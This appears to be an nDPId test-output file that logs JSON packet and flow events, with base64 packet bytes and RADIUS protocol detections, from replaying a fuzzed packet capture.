qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00673{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996520,"pkt_ts_usec":912583,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"AFFP+4rqcNuYVcUnCABFAADh9PZAAPwRXtPG4hk1CgxAHgcUchAAzf\/ACwwAxUX8kZJ5SD1GIY9b3TLnaCUBNTAzMTEjODAwNzM2MzgwNzJAd2xhbi5tbmM0MDAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEwZmQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjA2T0oBAgBIFwEAAAEFAACzfR5W9eh2OghNxDwVbojaAgEAABPTIXEVtgAALhLyMDDdAueLAQACCwUAJQD\/wh144KSIGN1E2YBCoTFQEji6recwpo2EGDX0tsWSQ1s="} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1528996521324,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01320{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996521,"pkt_ts_usec":324807,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4rqCABFAALHIMlAAP8RAAAKDEAexuIZNXIQBwQCswAAAQ0CqzlVBXH\/qH48qbcRRfwKWygaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMyNwZbIqKpATUwxjExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3Bwbhp0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTBVLWE3LDQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBTUAAAAIGjEAAAAJASthdWRpWS1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjJmZWEwMjI1Yqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1528996521324,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00780{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996521,"pkt_ts_usec":508032,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"pkt":"ABRP+4rqcNOYVcUnCABFAAEw9PpAAPwRXoDG4hk1CgxAHgcUchABHEdCAg0BFLBkFDYkf5Ol\/\/UprAe1krUaCwAAV8gbBVNQQxpuAAABNxA0lgZ9Ob56idWnj5mrGjH9HVyfl2CMD7kHBXWTlONuAdNpUT0PNMJ4+c6yAevgnrhFEzURNLRXMV1cukbtDiUAZlR3mWagN\/b3t5lQTdi7GNrmf6bckCtQUI9IvHwc\/ERWIYX5lcD4ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV08W9yay5vcmcsIDViMjJhMGZkL2YwOjc5OjYwOmQxOjdkOjM3LzIwNlkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBLahKO3\/veID+CdEt7EaDBi"} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":9,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1528996521324,"flow_last_seen":0,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":691,"flow_max_l4_data_len":691,"flow_avg_l4_data_len":691,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1528996603395,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01347{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996603,"pkt_ts_usec":395872,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIMpAAP8RAAAKDEAexuIZNXIQBxUCxwAABA4Cv7R7V6BSrXIqRSnri9UTMJ0aCnIAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTUEMaCQAAOCENAzABNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0MDAubWNjMzExLjNncHBuZXR3b3JrLm9yZ34IMWNpc2NvBQYAAAAIBAasFAEQCAasFAEWYRQAQP6AAAAAAAAAAAAAAAAAAAAgDlZaV0MyVGVzdExhYhoMAAA3YwEGAAAAAiwgNWIyMmEwZmQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjA2PQYAAAATGjEAAAAJASthdWRpdC1zZXNzaW9uLWlk3TEwZmYxMGFjMDAwMDAwYjJmZWEwMjI1Yi0GAAAAAUAGAAAADUEGAAAABlEENTY3BlsiovsaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXSBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhcnVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QoBgAAAAIqBgFYQ8k0BgAAAAArBpKpaYo1BgAAAAAvBgAD8PkwBgAY5WwxBgAAAAYuBgAAAewpBgAAAAAfE2YwLTc5LTYwLWQxLTdkLTM3HiUwMC1hNy00Mi1kMC1lMC0wMDpWZXJpem9uV2lGaUFjY2RzcxoMAAAFgwcGwFBKmQ=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1528996603395,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996603,"pkt_ts_usec":490040,"pkt_caplen":147,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"ABRP+4qfcNuYqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":10,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +01520{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996609,"pkt_ts_usec":526996,"pkt_caplen":876,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":876,"pkt_l4_len":842,"pkt":"AAAMB6xAABRP+4rqCABFAANeIMtAAP8RAAAKDEAexuIZNXIQBxUDSgAABA8DQohFBlHb2YvdG6PaZMpxlt8aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwATUwMzExFDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmd+CDFjYXNjbwUGAAAACAQGrBQBEAgGrBQBFWEUAED+gAAAAAAAAAAAAAAAAAAAGYhTQlIyQ0zl2aywoICAgICAEYBzAYAUgZ6M7PeDwdzlup3t95Os3O+5mefgAoA7gZiM5pOJ0PCwmaemg8HY6LaZjoiHu7HC7pebreaZ0PCwl5ustpnM4rGXjOz3g8Hc5bqd7feTrNzvuZngEoAOgeXZrLCi7MWgzYCAgICgFZAGgIzA6rWCjCAOVlpXQzJUZXN0TGFiGgwAADdjAQYAAAACLCI1YjIyYTBmZS8wMDo1NjpjZDo2ZDo0Mjo1OS8yMDc9BgAAABMaMQAAAAkBK2F1ZGl0LXNlc3Npb24taWQ9MTBmZjEwYWMwMDAwMDBiM2ZlYTAyMjViLQYAAAABQAYAAAANQQYAAAAGUQQ1Njeqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00548{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996609,"pkt_ts_usec":592806,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"ABRP+4rqcNuYVcUnCABFAACFyc1AAPwRiljG4hk1CgxAHgcVchAAcZmUBQ8AaTuYG1n4ee1Aq0+zAcDNdlwBNTAzMTE0ODAyNTA4NjQ2MjhAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3Jrqm9yZywgNWIyMmEwZmUvMDA6NTY6Y2Q6NmQ6NDI6NTkvMjA3"} +01311{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996636,"pkt_ts_usec":106908,"pkt_caplen":745,"pkt_type":34816,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqiABFAALbIMxAAP8RAAAKDEAexuIZNXIQBxQCxwAAARACv7qQ3oRQOi6G4UsAlSEouDAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwdbIqIcATUwMzExNDgwMDczNjM4MDcyQXdsYW4ubW5jNDgwLm1jYzMxMS4zZ3FwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtM7ceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDA4YjYxY2EzMjI1YiwgNWIyMmEzMWM\/ZjA6Nzk6NjA6ZDE6N2Q6MzcvMjExBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAMzIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFSUAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNHY4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjYRoMAAAFgwcGwFBKmVASAmScZx+R57CcOV54IGggHQ=="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":13,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":34816} +00676{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996636,"pkt_ts_usec":345360,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADh9yRAAPwRXKXG4hk1CgxAHgcUchAAzSJ2CxAAxcpdxYPqjgyBzTYMzPfpkxMBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjM7ExLjMxcHBuZXR3b3JrLm9ybywgNWIyMmEzMWMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjExT0olAABIFwEAAAEFAAD95AJZP0+7Q\/6oleR\/E2tUAgUAAI7JC71dMQAA76WXOEIE2IeLAQACCwUAAMljLwgpxN6xg\/7jZ9YaNhFQEjEMUX1kG7YQeYS+L\/mCsO8="} +01282{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996636,"pkt_ts_usec":664502,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"ACAMB6wAABRP+4rqCABFAALHIM1AEP8RAAAKDEA+xuIZNXIQBxQCswAAARECq74dUyV3bJoqzJ\/QFk2VsKcaCiUAV8gOBFVTGgwAAFfIDQZsaWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqMcATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubX5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpRC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjYxY2EzMjI1YiwgNWIyMmEzMWNRZjA6Nzk6NjA6ZDE6N2Q6MzcvMjExBAasFAEQIA5WWldDMlRlc3RMaWIaDAAAN2MBBgAAAAIGBgAAAAIMBgBLBRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAAB6T051twDphk5XQeM2DLlzAwIAIGU7n6gaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN2YW5kYetkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0oC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEuAAmGnGPS3bgZlyWIVRxyA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":15,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691} +00739{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996636,"pkt_ts_usec":868007,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"gBRP+4rqcNuYVcUnCABFAAEw9zBNAPwRXErG4hk1CgxAHgcUchABHM4XAhEBFIZVJWGtUrjkjYJ31AMheaoaCwAAV8gbBVNQQxpuAAABNxA0kHJPpbx8ay85DeRD\/YfvMwI+ldBikhmaYO0o9\/xxLxLcmQJWjN7B7B+dfQVGF8gDCMcRNLOAK5rezWH47eySAtmcrdIo8yMjeGx8MCZsAtT7L4lJowMPwZmfH007sNXtvljXq+BWATUwMzExNGUwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d2+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":16,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284} +01209{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996641,"pkt_ts_usec":474539,"pkt_caplen":671,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":671,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABaAAKRIM5AAP8RAAAKDEAexuIZNXIQBxUCfQAABBICdf5uAQnl4Bm8CC3G2Muz0doaCgAAV8gOBFVVGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTUEMaCQAAOCENAzQBNTAzMTElADAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNnHnBuZXR3b3JrLm9yZ34IMWNpc2NvBQYAAAAIBAasFAEQCAasFAEWIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIsIDViMjJhMzFjL2YwOjc5OjYwOmQxOjdkOjM3LzIxMT0GdgAAExoxAAAACQErYXVkaXQtc2Vzc2kvbi1pZD0xMGZmMTBhYzAwMDAwMGI2MWNhMzIyNWItBgAAAAFABgAAAH5BBgAAAAZRBDU2NwJbIqMhGhQAAFfIBw5WWldDMlRlc3RMYWIa1CoAV8gIBEVUGhAAAFfICwpTdGFuZGFyZBoQAABXyAsKVGVzdCBMYWIaCQAAV8gPAzEaCgAAV8gQBE5KGhEAAFfIEQtMeW5kaHVyc3QaDAAAV8gSBgAAAMkaFwAAV8gdEVZaVyBDMiBUZXN0IExhYhoLAABXyCUFVnpXGg0AADghDgcwNzA3MRoMAAA4IREGAAAAABoVAAA4IRIPSW52YWxpdCBWYWx9ZRodAAA4IRMXNDAuODA0RDgyTi03NC4xMDI4MzlXGgwAADghFAYAAAECGgwAADghFQYAAAACGhUAADghFg9TdGFkaXVtRGlyZWN0KAYAAAABHxNmMC03OS02MC1kMS03ZC0zNx4lMIAtYTctNDItZDAtZTAtMDA6VmVyaXpvbldpRmlBY2Nlc3MaDAAABYMHBsBQSpk="} +00166{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":17,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1528996641548,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":30764,"dst_port":12344,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00548{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996641,"pkt_ts_usec":548676,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":50,"pkt_len":147,"pkt_l4_len":97,"pkt":"ABRP+4rqcNuYVcUnCABJAACFyrZAAPsRim\/G4hk1CgxAHgcVchAAcXfuBRIAaavjNmx4LDA40fVoWG4z4qoBNTAzMTE0ODAwNjM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBsZXR3b3JrLm9yZywgNWIyMmEzMWMvZjA6Nzk6NjA6ZDE6N2RZMzcvMjEx"} +00503{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":19,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1528996641548,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":30764,"dst_port":12344,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":19,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1528996641548,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":30764,"dst_port":12344,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01348{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996680,"pkt_ts_usec":540870,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMBzVAABRP+4rqCABFAALbIM9AAP8RAAAKDEAexuIZNXIQBxQCxwAAARMCv5xqC+DKkBYiILmLL+u5lOkaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4N3NbIqNIATUwMzExNDgwMjc4NTAxMDA5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmflAxB+CDFjaXNjb4MGAAAAAR8TNjQtYjAtYTYtMGUtYTQtZWMeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uwGlkPTEwZmYxMGFjMDAwMDAwYjc0OGEzMjI1YkEgNWIyMmEzNDgvNjQ6YjA6YTY6MGU6YTQ6ZWMvMjEyBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN+EBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXQlAHJrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGViGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEACRV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRMgBXyBELTHluZGh1cnN0GgwAJQDIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYUQaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 